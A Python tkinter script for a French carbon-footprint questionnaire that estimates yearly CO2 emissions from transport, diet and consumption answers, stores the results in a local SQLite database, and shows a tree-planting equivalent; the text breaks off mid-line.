+{"seq_id":"30313278476","text":"from PIL import Image, ImageTk\nfrom tkinter import *\nimport tkinter as tk\nfrom tkinter import ttk\nimport matplotlib.pyplot as plt\nimport sqlite3\n\nglobal img1\nglobal nom\nglobal prenom\nglobal Age\nglobal S\nglobal A\nglobal W\nglobal Q\nglobal O\nglobal k\nglobal d\nglobal E4\nglobal E5\nglobal E6\nglobal E1\nglobal E2\nglobal E3\nglobal s1\nglobal s2\nglobal s3\nglobal s4\nglobal s5\nglobal s6\nglobal s7\nglobal s8\nglobal a1\nglobal a2\nglobal a3\nglobal a4\nglobal a5\nglobal a6\nglobal a7\nglobal a8\nglobal L1\nglobal L2\nglobal L3\nglobal Ll1\nglobal Ll2\nglobal Ll3\n\nk=0\nd=0\nLARGE_FONT = (\"Verdana\", 12)\nwindow=tk.Tk()\nwindow.title(\"MainPage\")\nwindow.rowconfigure(0, weight=1)\nwindow.columnconfigure(0, weight=1)\nwindow.configure(background=\"white\")\nwindow.resizable(width=False, height=False)\n\nwindow.geometry(\"650x650+\"+str(int(window.winfo_screenwidth()/2)-300)+\"+\"+str(int(window.winfo_screenheight()/2)-300))\n\n \n\nwindow.minsize(650,650)\n\nwindow.maxsize(650,650)\n\n\nimg1=PhotoImage(file=\"logo.png\")\n\nimg2=PhotoImage(file=\"im2.png\")\n\n\n\n\n\n\n\n\n\ndef retour():\n    global nom\n    global prenom\n    global Age\n    global S\n    global A\n    global W\n    global Q\n    global O\n    global k\n    global d\n    global img1\n    global E4\n    global E5\n    global E6\n    global E1\n    global E2\n    global E3\n    global L1\n    global L2\n    global L3\n    global Ll1\n    global Ll2\n    global Ll3\n    nom=''\n    prenom=''\n    email=''\n    \n    if d%2!=0:\n        d=d+1\n        for widget in window.winfo_children():\n                widget.destroy()        \n        label=Label(window, image=img1, bg=\"white\").grid(row= 0, columnspan = 2, pady = 20)\n            \n        Ti=Label(window, text =\"Sustainable Development Solutions\",fg='green', font=\"times 20 bold\",bg='white')\n        Ti.place(x=0, y=0, relwidth=1)\n\n        L1=Label(window, text=\"Name :\", font=\"times 12 bold\",bg='white')\n        L1.grid(row=1,column=0, pady = 1, padx = 20)\n\n        L2=Label(window, text=\"Last name :\", font=\"times 12 bold\",bg='white')\n        L2.grid(row=2,column=0, pady = 1)\n        L3=Label(window, text=\"Age :\",font=\"times 12 bold\",bg='white')\n        L3.grid(row=3,column=0, pady = 1)\n        L4=Button(window, command=stat,text=\"statistiques\")\n        L4.grid(row=4, pady = 25)\n\n        E1=Entry(window)\n        E1.grid(row=1,column=1, pady = 1, padx = 80)\n        E2=Entry(window)\n        E2.grid(row=2, column=1, pady = 1)\n        E3=Entry(window)\n        E3.grid(row=3, column=1, pady = 1)\n\n        B1=Button(window,text='continuer',command=continuer)\n        B1.grid(row=4, column=1)\n        window.mainloop()\n        \n    elif d%2==0:\n        d=d+1\n        for widget in window.winfo_children():\n                widget.destroy()        \n        label=Label(window, image=img1, bg=\"white\").grid(row= 0, columnspan = 2, pady = 20)\n            \n        Ti=Label(window, text =\"Sustainable Development Solutions\",fg='green', font=\"times 20 bold\",bg='white')\n        Ti.place(x=0, y=0, relwidth=1)\n\n        Ll1=Label(window, text=\"Name :\", font=\"times 12 bold\",bg='white')\n        Ll1.grid(row=1,column=0, pady = 1, padx = 20)\n\n        Ll2=Label(window, text=\"Last name :\", font=\"times 12 bold\",bg='white')\n        Ll2.grid(row=2,column=0, pady = 1)\n        Ll3=Label(window, text=\"Age :\",font=\"times 12 bold\",bg='white')\n        Ll3.grid(row=3,column=0, pady = 1)\n        L4=Button(window, text='statistiques',command=stat)\n        L4.grid(row=4, pady = 25)\n\n        E4=Entry(window)\n        E4.grid(row=1,column=1, pady = 1, padx = 80)\n        E5=Entry(window)\n        E5.grid(row=2, column=1, pady = 1)\n        E6=Entry(window)\n        E6.grid(row=3, column=1, pady = 1)\n\n        B1=Button(window,text='continuer',command=continuer)\n        B1.grid(row=4, column=1)\n        window.mainloop()\n\n\n\ndef continuer():\n\n    t=0\n    global k\n    global d\n    global img1\n    global nom\n    global prenom\n    global age\n    global S\n    global A\n    global W\n    global Q\n    global O\n    global E4\n    global E5\n    global E6\n    global E1\n    global E2\n    global E3\n    global s1\n    global s2\n    global s3\n    global s4\n    global s5\n    global s6\n    global s7\n    global s8\n    global a1\n    global a2\n    global a3\n    global a4\n    global a5\n    global a6\n    global a7\n    global a8\n    global L1\n    global L2\n    global L3\n    global Ll1\n    global Ll2\n    global Ll3\n    if k%2==0:\n            \n            if E1.get()==''or E2.get()==''or E3.get()=='':\n                    t=0\n                    if E1.get()=='':\n                            L1.config(bg='red')\n                    elif E1.get()!='':\n                            L1.config(bg='white')\n                    if E2.get()=='':\n                            L2.config(bg='red')\n                    elif E2.get()!='':\n                            L2.config(bg='white')\n                    if E3.get()=='':\n                            L3.config(bg='red')\n                    elif E3.get()!='':\n                            L3.config(bg='white')\n            elif E1.get()!=''or E2.get()!=''or E3.get()!='':\n                    k=k+1\n                    t=1\n            \n            \n            nom=E1.get()\n            prenom=E2.get()\n            age=E3.get()\n            print(nom,prenom,age)\n        \n            \n    elif k%2!=0:\n            t=1\n            if E4.get()==''or E5.get()==''or E6.get()=='':\n                    t=0\n                    if E4.get()=='':\n                            Ll1.config(bg='red')\n                    elif E4.get()!='':\n                            Ll1.config(bg='white')\n                    if E5.get()=='':\n                            Ll2.config(bg='red')\n                    elif E5.get()!='':\n                            Ll2.config(bg='white')\n                    if E6.get()=='':\n                            Ll3.config(bg='red')\n                    elif E6.get()!='':\n                            Ll3.config(bg='white')\n            elif E4.get()!=''or E5.get()!=''or E6.get()!='':\n                    t=1\n                    k=k+1\n            \n            \n            nom=E4.get()\n            prenom=E5.get()\n            age=E6.get()\n            print(nom,prenom,age)\n\n    if t==1:\n            for widget in window.winfo_children():\n                    widget.destroy()\n            \n                    \n            p1=PanedWindow(window,bg='white')\n            p1.grid(row=0,column=0)\n\n            p2=PanedWindow(window,bg='white')\n            p2.grid(row=1,column=0)\n\n            p3=PanedWindow(window,bg='white')\n            p3.grid(row=2,column=0)\n\n            p4=PanedWindow(window,bg='white')\n            p4.grid(row=3,column=0)\n            \n            p5=PanedWindow(window,bg='white')\n            p5.grid(row=4,column=0)\n\n            p6=PanedWindow(window,bg='white')\n            p6.grid(row=5,column=0)\n\n            p7=PanedWindow(window,bg='white')\n            p7.grid(row=6,column=0)\n\n            p8=PanedWindow(window,bg='white')\n            p8.grid(row=7,column=0)\n\n            p9=PanedWindow(window,bg='white')\n            p9.grid(row=8,column=0)\n\n            p10=PanedWindow(window,bg='white')\n            p10.grid(row=9,column=0)\n\n            p11=PanedWindow(window,bg='white')\n            p11.grid(row=10,column=0)\n\n            p12=PanedWindow(window,bg='white')\n            p12.grid(row=11,column=0)\n\n            p13=PanedWindow(window,bg='white')\n            p13.grid(row=12,column=0)\n\n            p14=PanedWindow(window,bg='white')\n            p14.grid(row=13,column=0)\n\n            p15=PanedWindow(window,bg='white')\n            p15.grid(row=14,column=0)\n\n            p16=PanedWindow(window,bg='white')\n            p16.grid(row=15,column=0)\n\n            p17=PanedWindow(window,bg='white')\n            p17.grid(row=16,column=0)\n\n            p18=PanedWindow(window,bg='white')\n            p18.grid(row=17,column=0)\n\n            p19=PanedWindow(window,bg='white')\n            p19.grid(row=18,column=0)\n\n            p20=PanedWindow(window,bg='white')\n            p20.grid(row=19,column=0)\n\n            p21=PanedWindow(window,bg='white')\n            p21.grid(row=21,column=0)\n\n            p22=PanedWindow(window,bg='white')\n            p22.grid(row=22,column=0)\n\n            p23=PanedWindow(window,bg='white')\n            p23.grid(row=23,column=0)\n\n            p24=PanedWindow(window,bg='white')\n            p24.grid(row=24,column=0)\n\n            p25=PanedWindow(window,bg='white')\n            p25.grid(row=25,column=0)\n\n            p26=PanedWindow(window,bg='white')\n            p26.grid(row=26,column=0)\n\n            p27=PanedWindow(window,bg='white')\n            p27.grid(row=27,column=0)\n        #-----------------------------------------------------------------------------------------\n            label1=Label(p1,text='Prenez-vous les transports en commun ?',bg='white',font='size 13',pady=9,fg='green')\n            s1 = StringVar()\n            rad1 = Radiobutton(p2,text='Oui',activeforeground=\"gold\",overrelief=SUNKEN,variable=s1,value='TCO',bg ='white',font='size 12')\n            rad2 = Radiobutton(p2,text='Non',activeforeground=\"gold\",overrelief=SUNKEN,variable=s1,value='TCN',bg ='white',font='size 12')\n        #-----------------------------------------------------------------------------------------\n            label2=Label(p3,text='Prenez-vous souvent le train ?',bg='white',font='size 13',pady=9,fg='green')\n            s2 = StringVar()\n            rad3 = Radiobutton(p4,text='Oui',activeforeground=\"gold\",overrelief=SUNKEN,variable=s2,value='TO',bg ='white',font='size 12')\n            rad4 = Radiobutton(p4,text='Non',activeforeground=\"gold\",overrelief=SUNKEN,variable=s2,value='TN',bg ='white',font='size 12')\n        #-----------------------------------------------------------------------------------------\n            label3=Label(p5,text=\"Vous arrive-t-il de prendre l'avion ?\",bg='white',font='size 13',pady=9,fg='green')\n            s3 = StringVar()\n            rad5 = Radiobutton(p6,text='Oui',activeforeground=\"gold\",overrelief=SUNKEN,variable=s3,value='AO',bg ='white',font='size 12')\n            rad6 = Radiobutton(p6,text='Non',activeforeground=\"gold\",overrelief=SUNKEN,variable=s3,value='AN',bg ='white',font='size 12')\n        #-----------------------------------------------------------------------------------------\n            label4=Label(p7,text='Avez-vous une voiture ?',bg='white',font='size 13',pady=9,fg='green')\n            s4 = StringVar()\n            rad7 = Radiobutton(p8,text='Voiture (essence)',activeforeground=\"gold\",overrelief=SUNKEN,variable=s4,value='ess',bg ='white',font='size 12')\n            rad8 = Radiobutton(p8,text='Voiture (gasoil)',activeforeground=\"gold\",overrelief=SUNKEN,variable=s4,value='Gas',bg ='white',font='size 12')\n            radd8 = Radiobutton(p8,text='Non',activeforeground=\"gold\",overrelief=SUNKEN,variable=s4,value='VN',bg ='white',font='size 12')\n        #-----------------------------------------------------------------------------------------\n            label6=Label(p11,text='Etes-vous végétarien, vegan ou aucun des deux ?',bg='white',font='size 13',pady=9,fg='green')\n            s5 = StringVar()\n            rad12 = Radiobutton(p12,text='Végétarien',activeforeground=\"gold\",overrelief=SUNKEN,variable=s5,value='Végé',bg ='white',font='size 12')\n            rad13 = Radiobutton(p12,text='Végan',activeforeground=\"gold\",overrelief=SUNKEN,variable=s5,value='Véga',bg ='white',font='size 12')\n            rad14 = Radiobutton(p12,text='Aucun des deux',activeforeground=\"gold\",overrelief=SUNKEN,value='NVégéNVéga',variable=s5,bg ='white',font='size 12')\n        #-----------------------------------------------------------------------------------------\n            label8=Label(p15,text='Allez-vous souvent faire du shopping ?',bg='white',font='size 13',pady=9,fg='green')\n            s6 = StringVar()\n            rad17 = Radiobutton(p16,text='Oui',activeforeground=\"gold\",overrelief=SUNKEN,variable=s6,value='SO',bg ='white',font='size 12')\n            rad18 = Radiobutton(p16,text='Non',activeforeground=\"gold\",overrelief=SUNKEN,variable=s6,value='SN',bg ='white',font='size 12')\n        #-----------------------------------------------------------------------------------------\n            label10=Label(p17,text='A quelle fréquence vous lavez-vous ?',bg='white',font='size 13',pady=9,fg='green')\n            s7 = StringVar()\n            rad23 = Radiobutton(p18,text='1 à 2 fois/semaine',activeforeground=\"gold\",overrelief=SUNKEN,variable=s7,value='78',bg ='white',font='size 12')\n            rad24 = Radiobutton(p18,text='1 fois /2jours',activeforeground=\"gold\",overrelief=SUNKEN,variable=s7,value='183',bg ='white',font='size 12')\n            rad25 = Radiobutton(p18,text='1/jour',activeforeground=\"gold\",overrelief=SUNKEN,variable=s7,value='365',bg ='white',font='size 12')\n        #-----------------------------------------------------------------------------------------\n            label11=Label(p20,text=\"Buvez-vous de l'eau en bouteille ?\",bg='white',font='size 13',pady=9,fg='green')\n            s8 = StringVar()\n            rad26 = Radiobutton(p21,text='Oui',activeforeground=\"gold\",overrelief=SUNKEN,variable=s8,value='EO',bg ='white',font='size 12')\n            rad27 = Radiobutton(p21,text='Non',activeforeground=\"gold\",overrelief=SUNKEN,variable=s8,value='EN',bg ='white',font='size 12')\n        #-----------------------------------------------------------------------------------------\n            label1.grid(row=0)\n\n            rad1.grid(column=0, row=1)\n            rad2.grid(column=1, row=1)\n\n\n            label2.grid(row=0)\n\n            rad3.grid(column=0, row=1)\n            rad4.grid(column=1, row=1)\n\n\n            label3.grid(row=0)\n\n            rad5.grid(column=0, row=1)\n            rad6.grid(column=1, row=1)\n\n\n            label4.grid(row=0)\n\n            rad7.grid(column=0, row=3)\n            rad8.grid(column=1, row=3)\n            radd8.grid(column=2, row=3)\n\n            label6.grid(row=0)\n\n            rad12.grid(column=0, row=5)\n            rad13.grid(column=1, row=5)\n            rad14.grid(column=2, row=5)\n\n\n\n            label8.grid(row=0)\n\n            rad17.grid(column=0, row=5)\n            rad18.grid(column=1, row=5)\n\n            label10.grid(row=0)\n\n            rad23.grid(column=0, row=5)\n            rad24.grid(column=1, row=5)\n            rad25.grid(column=2, row=5)\n\n            label11.grid(row=0)\n\n            rad26.grid(column=0, row=5)\n            rad27.grid(column=1, row=5)\n\n            \n            def lola1():\n                    print(s1.get(),a1)\n                    print(s2.get(),a2)\n                    print(s3.get(),a3)\n                    print(s4.get(),a4)\n                    print(s5.get(),a5)\n                    print(s6.get(),a6)\n                    print(s7.get(),a7)\n                    print(s8.get(),a8)\n            def lola():\n                    global d\n                    global s1\n                    global s2\n                    global s3\n                    global s4\n                    global s5\n                    global s6\n                    global s7\n                    global s8\n                    global a1\n                    global a2\n                    global a3\n                    global a4\n                    global a5\n                    global a6\n                    global a7\n                    global a8\n                    #-----------------------------------------------------------------------------------------\n                    if s1.get() == 'TCO':\n                            a1= 'normal'       \n                    elif s1.get()=='TCN':\n                            a1='disabled'\n                    else:\n                            a1=0       \n                    #-----------------------------------------------------------------------------------------\n                    if s2.get()== 'TO':\n                            a2= 'normal'\n                    elif s2.get()=='TN':\n                            a2='disabled'\n                    else:\n                            a2=0\n                    #-----------------------------------------------------------------------------------------\n                    if s3.get()== 'AO':\n                            a3= 'normal'\n                    elif s3.get()=='AN':\n                            a3='disabled'\n                    else:\n                            a3=0\n                    #-----------------------------------------------------------------------------------------\n                    if s4.get()== 'ess':\n                            a4= 'normal'\n                            aa4='disabled'\n                    elif s4.get()=='Gas':\n                            a4='disabled'\n                            aa4='normal'\n                    elif s4.get()=='VN':\n                            a4='disabled'\n                            aa4='disabled'\n                    else :\n                            a4=0\n                            aa4=0\n                    #-----------------------------------------------------------------------------------------\n                    if s5.get()== 'Végé':\n                            a5= 'disabled'\n                            aa5='normal'\n                    elif s5.get()=='Véga':\n                            aa5='disabled'\n                            a5='disabled'\n                    elif s5.get()=='NVégéNVéga':\n                            a5= 'normal'\n                            aa5='normal'\n                    else:\n                            a5=0\n                    #-----------------------------------------------------------------------------------------\n                    if s6.get()=='SO':\n                            a6='763 '\n                    elif s6.get()=='SN':\n                            a6='381 '\n                    else:         \n                            a6=0\n                    #-----------------------------------------------------------------------------------------\n                    if s7.get()=='78':\n                            a7=78\n                    elif s7.get()=='183':\n                            a7=182.5\n                    elif s7.get()=='365':\n                            a7=365\n                    else:\n                            a7=0\n                    #-----------------------------------------------------------------------------------------\n                    if s8.get()=='EO':\n                            a8='normal'\n                    elif s8.get()=='EN':\n                            a8='disabled'\n                    else:\n                            a8=0\n\n                    if a1==0 or a2==0 or a3==0 or a4==0 or aa4==0 or a5==0 or a6==0 or a7==0 or a8==0 :\n                            if a1==0:\n                                    label1.config(fg='red')\n                            elif a1!=0:\n                                    label1.config(fg='green')\n                            if a2==0:\n                                    label2.config(fg='red')\n                            elif a2!=0:\n                                    label2.config(fg='green')\n                            if a3==0:\n                                    label3.config(fg='red')\n                            elif a3!=0:\n                                    label3.config(fg='green')\n                            if a4==0:\n                                    label4.config(fg='red')\n                            elif a4!=0:\n                                    label4.config(fg='green')\n                            if a5==0:\n                                    label6.config(fg='red')\n                            elif a5!=0:\n                                    label6.config(fg='green')\n                            if a6==0:\n                                    label8.config(fg='red')\n                            elif a6!=0:\n                                    label8.config(fg='green')\n                            if a7==0:\n                                    label10.config(fg='red')\n                            elif a7!=0:\n                                    label10.config(fg='green')\n                            if a8==0:\n                                    label11.config(fg='red')\n                            elif a8!=0:\n                                    label11.config(fg='green')\n                    else:\n                            for widget in window.winfo_children():\n                                    widget.destroy()\n                                    \n                    \n                            p1=PanedWindow(window,bg='white')\n                            p1.grid(row=0,column=0)\n\n                            p2=PanedWindow(window,bg='white')\n                            p2.grid(row=1,column=0)\n\n                            p3=PanedWindow(window,bg='white')\n                            p3.grid(row=2,column=0)\n\n                            p4=PanedWindow(window,bg='white')\n                            p4.grid(row=3,column=0)\n\n                            p5=PanedWindow(window,bg='white')\n                            p5.grid(row=4,column=0)\n\n                            p6=PanedWindow(window,bg='white')\n                            p6.grid(row=5,column=0)\n\n                            p7=PanedWindow(window,bg='white')\n                            p7.grid(row=6,column=0)\n\n                            p8=PanedWindow(window,bg='white')\n                            p8.grid(row=7,column=0)\n\n                            p9=PanedWindow(window,bg='white')\n                            p9.grid(row=8,column=0)\n\n                            p10=PanedWindow(window,bg='white')\n                            p10.grid(row=9,column=0)\n\n                            p11=PanedWindow(window,bg='white')\n                            p11.grid(row=10,column=0)\n\n                            p12=PanedWindow(window,bg='white')\n                            p12.grid(row=11,column=0)\n\n                            p13=PanedWindow(window,bg='white')\n                            p13.grid(row=12,column=0)\n\n                            p14=PanedWindow(window,bg='white')\n                            p14.grid(row=13,column=0)\n\n                            p15=PanedWindow(window,bg='white')\n                            p15.grid(row=14,column=0)\n\n                            p16=PanedWindow(window,bg='white')\n                            p16.grid(row=15,column=0)\n\n                            p17=PanedWindow(window,bg='white')\n                            p17.grid(row=16,column=0)\n\n                            p18=PanedWindow(window,bg='white')\n                            p18.grid(row=17,column=0)\n                            \n                            p19=PanedWindow(window,bg='white')\n                            p19.grid(row=18,column=0)\n\n                            #-----------------------------------------------------------------------------------------\n                            #-----------------------------------------------------------------------------------------\n                            l1=Label(p1,text='Approximation quotidienne du nombre de km que vous faites en transports en commun',font='Arial 13',pady=11,bg='white',fg='green')\n                            l1.grid(row=0,column=0)\n\n                            q1=Label(p2,text='Bus',font='Arial 12',bg='white')\n                            q1.grid(row=0,column=0)\n\n                            e1=Entry(p2,state=a1)\n                            e1.grid(row=0,column=1)\n\n                            qq1=Label(p2,text='RER/metro',font='Arial 12',bg='white')\n                            qq1.grid(row=0,column=2)\n\n                            ee1=Entry(p2,state=a1)\n                            ee1.grid(row=0,column=3)\n\n                            \n                            #-----------------------------------------------------------------------------------------\n                            #-----------------------------------------------------------------------------------------\n                            l2=Label(p3,text='Rentrez une approximation du nombre de km que vous faites en train',font='Arial 13',pady=11,bg='white',fg='green')\n                            l2.grid(row=0,column=0)\n\n                            q2=Label(p4,text='Train',font='Arial 12',bg='white')\n                            q2.grid(row=0,column=0)\n\n                            e2=Entry(p4,state=a2)\n                            e2.grid(row=0,column=1)\n                            #-----------------------------------------------------------------------------------------\n                            #-----------------------------------------------------------------------------------------\n                            l3=Label(p5,text='Rentrez une approximation du nombre de km que vous faites en avion',font='Arial 13',pady=11,bg='white',fg='green')\n                            l3.grid(row=0,column=0)\n\n                            q3=Label(p6,text='Avion',font='Arial 12',bg='white')\n                            q3.grid(row=0,column=0)\n\n                            e3=Entry(p6,state=a3)\n                            e3.grid(row=0,column=1)\n                            #-----------------------------------------------------------------------------------------\n                            #-----------------------------------------------------------------------------------------\n                            l4=Label(p7,text='Rentrez une approximation du nombre de km que vous faites en voiture',font='Arial 13',pady=11,bg='white',fg='green')\n                            l4.grid(row=0,column=0)\n\n                            q4=Label(p8,text='Essence',font='Arial 12',bg='white')\n                            q4.grid(row=0,column=0)\n\n                            e4=Entry(p8,state=a4)\n                            e4.grid(row=0,column=1)\n\n                            qq4=Label(p8,text='Gasoil',font='Arial 12',bg='white')\n                            qq4.grid(row=0,column=2)\n\n                            ee4=Entry(p8,state=aa4)\n                            ee4.grid(row=0,column=3)\n                            #-----------------------------------------------------------------------------------------\n                            #-----------------------------------------------------------------------------------------\n                            l5=Label(p9,text='Rentrez la quantité de viande en gramme que vous mangez quotidiennement',font='Arial 13',pady=11,bg='white',fg='green')\n                            l5.grid(row=0,column=0)\n\n                            q5=Label(p10,text=\"quantité en 'g'\",font='Arial 12',bg='white')\n                            q5.grid(row=0,column=0)\n\n                            e5=Entry(p10,state=a5)\n                            e5.grid(row=0,column=1)\n                            #-----------------------------------------------------------------------------------------\n                            #-----------------------------------------------------------------------------------------\n                            label7=Label(p11,text='Consommez-vous les produits suivants ?',bg='white',font='Arial 13',pady=11,fg='green')\n                            label7.grid(row=0)\n\n                            o4 = IntVar()\n                            o5 = IntVar()\n                            \n                            rad15 = Checkbutton(p12,state =aa5, text='Lait de vache',activeforeground=\"gold\",overrelief=SUNKEN,variable=o4,bg ='white',font='size 12')\n                            rad16 = Checkbutton(p12,state =aa5,text='Oeufs',activeforeground=\"gold\",overrelief=SUNKEN,variable=o5,bg ='white',font='size 12')\n                            rad15.grid(column=0, row=5)\n                            rad16.grid(column=1, row=5)\n                            #-----------------------------------------------------------------------------------------\n                            #-----------------------------------------------------------------------------------------\n\n                            l8=Label(p15,text=\"Combien de litres d'eau minérale (en bouteille) buvez-vous quotidiennement ?\",font='Arial 13',pady=11,bg='white',fg='green')\n                            l8.grid(row=0,column=0)\n\n                            q8=Label(p16,text=\"quantité en 'L'\",font='Arial 12',bg='white')\n                            q8.grid(row=0,column=0)\n\n                            e8=Entry(p16,state=a8)\n                            e8.grid(row=0,column=1)\n                            #-----------------------------------------------------------------------------------------\n                            #-----------------------------------------------------------------------------------------\n\n                            label9=Label(p17,text='Avez-vous les technologies suivantes ?',bg='white',font='Arial 13',pady=11,fg='green')\n                            o6 = IntVar()\n                            o7 = IntVar()\n                            o8 = IntVar()\n                            o9 = IntVar()\n\n                            rad19 = Checkbutton(p18,text='Téléphone',activeforeground=\"gold\",overrelief=SUNKEN,variable=o6,bg='white',font='size 12')\n                            rad20 = Checkbutton(p18,text='Télévision',activeforeground=\"gold\",overrelief=SUNKEN,variable=o7,bg='white',font='size 12')\n                            rad21 = Checkbutton(p18,text='Ordinateur',activeforeground=\"gold\",overrelief=SUNKEN,variable=o8,bg='white',font='size 12')\n                            rad22 = Checkbutton(p18,text='Tablette',activeforeground=\"gold\",overrelief=SUNKEN,variable=o9,bg='white',font='size 12')\n\n                            label9.grid(row=0)\n\n                            rad19.grid(column=0, row=5)\n                            rad20.grid(column=1, row=5)\n                            rad21.grid(column=2, row=5)\n                            rad22.grid(column=3, row=5)\n                            #-----------------------------------------------------------------------------------------\n                            \n\n                            def onéla():\n                                PV01=e1.get()\n                                PV001=ee1.get()\n                                PV02=e2.get()\n                                PV03=e3.get()\n                                PV04=e4.get()\n                                PV004=ee4.get()\n                                PV05=e5.get()\n                                PV07=int(s7.get())\n                                PV08=e8.get()\n                                PV06=o4.get()\n                                PV006=o5.get()\n                                PV09=o6.get()\n                                PV009=o7.get()\n                                PV0009=o8.get()\n                                PV00009=o9.get()\n                                PV10 = int(a6)\n                                if PV01 == '' or PV001 =='' or PV02 =='' or PV03 =='' or PV04 =='' or PV004 =='' or PV05 =='' or PV07 =='' or PV08 =='':\n                                    if PV01 == '':\n                                        PV01 = 0\n                                    if PV001 == '':\n                                        PV001 = 0\n                                    if PV02 == '':\n                                        PV02 = 0\n                                    if PV03 == '':\n                                        PV03 = 0\n                                    if PV04 == '':\n                                        PV04 = 0\n                                    if PV004 == '':\n                                        PV004 = 0\n                                    if PV05 == '':\n                                        PV05 = 0\n                                    if PV07 == '':\n                                        PV07 = 0\n                                    if PV08 == '':\n                                        PV08 = 0\n                                PV01 = round ((float(PV01)*55*365*(10**-6)),5)\n                                PV001 = round((float(PV001) * 4 * 365 * (10**-6)),5)\n                                PV02 = round((float( PV02) * (86*(10**-6)) * 365),5)\n                                PV03 = round((float(PV03) * (285*(10**-6)) * 365),5)\n                                PV04 = round((float(PV04) * (186*(10**-6)) * 365),5)\n                                PV004 = round((float(PV004) * (165*(10**-6)) * 365),5)\n                                PV05 = round((float(PV05) * (4.67*(10**-3) * 365)/50),5)\n                                PV07 = round((float(PV07) * 210 *(10**-6)),5)\n                                PV08 = round((float(PV08 )* 121 *(10**-6) *365),5)\n                                PV06 = round((float(PV06)*3*(0.94*(10**-3))*52),5)\n                                PV006 = round((float(PV006)*3*(1.72*(10**-3))*52),5)\n                                PV09 = round((float(PV09) *20*(10**-3)),5)\n                                PV009 = round((float(PV009) *400*(10**-6)),5)\n                                PV0009 = round((float(PV0009) *45*(10**-3)),5)\n                                PV00009 = round((float(PV00009) *25*(10**-3)),5)\n                                PV10 = round((float(PV10) * (10**-3)),5)\n                                Total = round((PV01 + PV001 + PV02 + PV03 + PV04 + PV004 + PV05 + PV06 + PV006 + PV07 + PV08 + PV09 + PV009 + PV0009 + PV00009 + PV10),3)\n\n                                arb = int((Total/(25*(10**-3))))\n\n                                arbeco = arb*3\n\n\n                                print(PV09,PV009,PV0009)\n\n\n                                global nom\n                                global prenom\n                                global age\n                                global S\n                                global A\n                                global W\n                                global Q\n                                global O\n                                global img1\n                                        \n\n                                connexion = sqlite3.connect(\"GP21.db\")\n                                curseur = connexion.cursor()\n                                curseur.execute(\"INSERT INTO Test_progra_3 (nom,prenom,age,Bus,Rer_metro,Train,Avion,Gasoil,Essence,viande,Lait,oeufs,douche,eau,Téléphone,Télévision,Ordinateur,Tablette,Shopping,Total)VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)\",(nom,prenom,age,PV01, PV001, PV02, PV03, PV04, PV004, PV05, PV06, PV006, PV07, PV08, PV09, PV009, PV0009, PV00009,PV10,Total))\n               \n\t\t\n                                connexion.commit()\n                                connexion.close()\n                                print(\"enregistrement reussi\")\n\n                                \n                                for widget in window.winfo_children():\n                                    widget.destroy()\n\n                                p1=PanedWindow(window,bg='white')\n                                p1.grid(row=0,column=0)\n    \n                                p2=PanedWindow(window,bg='white')\n                                p2.grid(row=1,column=0)\n    \n                                p3=PanedWindow(window,bg='white')\n                                p3.grid(row=2,column=0)\n    \n                                p4=PanedWindow(window,bg='white')\n                                p4.grid(row=3,column=0)\n    \n                                p5=PanedWindow(window,bg='white')\n                                p5.grid(row=4,column=0)\n    \n                                p6=PanedWindow(window,bg='white')\n                                p6.grid(row=5,column=0)\n    \n                                p7=PanedWindow(window,bg='white')\n                                p7.grid(row=6,column=0)\n    \n                                p8=PanedWindow(window,bg='white')\n                                p8.grid(row=7,column=0)\n\n\n                                L1=Label(p1, text=\"Votre bilan carbone annuel est de : \",bg='white',fg='green',font=LARGE_FON)\n                                L1.grid(row=0,column=0, pady = 10)\n                                \n                                L2=Label(p1, text= Total,bg='white',fg='green',font=LARGE_FON)\n                                L2.grid(row=0,column=1, pady = 10)\n                                \n                                L3=Label(p1, text=\"Tonnes\",bg='white',fg='green',font=LARGE_FON)\n                                L3.grid(row=0,column=2, pady = 10)\n                                \n                                L4=Label(p2, text=\"Cela équivaut à devoir planter :\",bg='white',fg='green',font=LARGE_FONT)\n                                L4.grid(row=1,column=0, pady = 10)\n\n                                L5=Label(p2, text=arb ,bg='white',font=LARGE_FONT,fg='green')\n                                L5.grid(row=1,column=1, pady = 10)\n\n                                L6=Label(p2, text=\"arbres\" ,bg='white',fg='green',font=LARGE_FONT)\n                                L6.grid(row=1,column=2, pady = 10)\n\n                                L7=Label(p3, text=\"(pour absorber votre bilan carbone annuel)\" ,bg='white',fg='green',font=LARGE_FONT)\n                                L7.grid(row=2, pady = 10)\n\n                                L8=Label(p4, text= \"Pour un prix de :\" ,bg='white',font=LARGE_FONT,fg='green')\n                                L8.grid(row=3,column=0, pady = 10)\n\n                                L9=Label(p4, text= arbeco ,bg='white',font=LARGE_FONT,fg='green')\n                                L9.grid(row=3,column=1, pady = 10)\n\n                                L10=Label(p4, text= \"€\" ,bg='white',fg='green',font=LARGE_FONT)\n                                L10.grid(row=3,column=2, pady = 10)\n\n                                L11=Label(window, image=img2 ,bg='white',fg='green',font=LARGE_FONT)\n                                L11.grid(row=4,column=0, pady = 10)\n\n                                \n                                    \n                                                                                \n\n\n\n                                    \n                                \n                            #-----------------------------------------------------------------------------------------\n                            \n                            btttn =Button(p19,command=retour,text=\"retour\",bd=7,overrelief=GROOVE,bg='cyan')\n                            btttn.grid(column=2,row=0)\n                            bttttn =Button(p19,command=onéla,text=\"Confirmer\",bd=7,overrelief=GROOVE,bg='green')\n                            bttttn.grid(column=3,row=0)\n\n\n\n    \n\n            btn = Button(p27,command=lola,text=\"Confirmer\",bd=7,overrelief=GROOVE,bg='green') \n            btn.grid(column=2, row=0)\n            bttn = Button(p27,command=window.destroy,text='Annuler',bd=7,overrelief=GROOVE,bg='red',font='size 10 italic') \n            bttn.grid(column=0, row=0)\n            \n            B1=Button(p27,text='retour',command=retour,bd=7,font='size 10 italic',overrelief=GROOVE,bg='cyan')\n            B1.grid(row=0, column=1)          \n        \n\n\n\n\nLARGE_FONT = (\"Verdana\", 12)        \n\n    \nlabel=Label(window, image=img1, bg=\"white\")\nlabel.grid(row= 0, columnspan = 2, pady = 20)    \n\n        \nTi=Label(window, text =\"Sustainable Development Solutions\",fg='green', font=\"times 20 bold\",bg='white')\nTi.place(x=0, y=0, relwidth=1,relheigh=0.25)\n\nL1=Label(window, text=\"Name :\", font=\"times 12 bold\",bg='white')\nL1.grid(row=1,column=0, pady = 1, padx = 20)\n\nL2=Label(window, text=\"Last name :\", font=\"times 12 bold\",bg='white')\nL2.grid(row=2,column=0, pady = 1)\nL3=Label(window, text=\"Age :\",font=\"times 12 bold\",bg='white')\nL3.grid(row=3,column=0, pady = 